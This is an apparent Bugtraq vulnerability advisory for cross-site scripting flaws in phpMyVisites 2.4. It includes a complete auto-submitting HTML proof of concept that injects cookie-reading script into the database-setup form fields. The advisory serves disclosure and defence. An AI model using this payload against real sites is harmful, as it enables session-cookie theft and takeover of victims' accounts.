phpMyVisites 'phpmv2/index.php' Multiple Cross Site Scripting Vulnerabilities

BID:52377

Info

phpMyVisites 'phpmv2/index.php' Multiple Cross Site Scripting Vulnerabilities

Bugtraq ID: 52377
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Mar 09 2012 12:00AM
Updated: Mar 27 2012 05:50PM
Credit: Akastep
Vulnerable: phpMyVisites phpMyVisites 2.4
Not Vulnerable:

Discussion

phpMyVisites 'phpmv2/index.php' Multiple Cross Site Scripting Vulnerabilities

phpMyVisites is prone to multiple cross-site scripting vulnerabilities because it fails to sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

phpMyVisites 2.4 is vulnerable; other versions may also be affected.

Exploit / POC

phpMyVisites 'phpmv2/index.php' Multiple Cross Site Scripting Vulnerabilities

An attacker can exploit these issues through a browser. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.

The following exploit is available:

<html>
<head>
<title>Warning! This is Proof Of Concept Exploit for phpMyVisites 2.4 (version.php 238 2009-12-16 19:48:15Z matthieu_ $)</title>
</head>
<h1> Warning! This is a Proof Of Concept Exploit for phpMyVisites 2.4:<br/></h1>
<p>// $Id: version.php 238 2009-12-16 19:48:15Z matthieu_ $
PHPMV_VERSION 2.4
</p>
</h1>
<body onload="javascript:document.forms[0].submit()">

<form action="http://CHANGE_TO_RTARGET/phpmv2/index.php?mod=install_database_setup" method="post" name="form_phpmv" id="form_phpmv">
<input value="<script>alert(document.cookie);</script>" name="form_dblogin" type="hidden" />
<input value="<script>alert(document.cookie);</script>" name="form_dbpassword" type="hidden" />
<input value="<script>alert(document.cookie);</script>" name="form_dbhost" type="hidden" />
<input value="<script>alert(document.cookie);</script>" name="form_dbname" type="hidden" />
<input value="<script>alert(document.cookie);</script>" name="form_dbprefix" type="hidden"/></td>

<!--- Author: AkaStep -->
</form>
</body>
</html>

Solution / Fix

phpMyVisites 'phpmv2/index.php' Multiple Cross Site Scripting Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of any more recent information, please mail us at: [email protected].

References

phpMyVisites 'phpmv2/index.php' Multiple Cross Site Scripting Vulnerabilities

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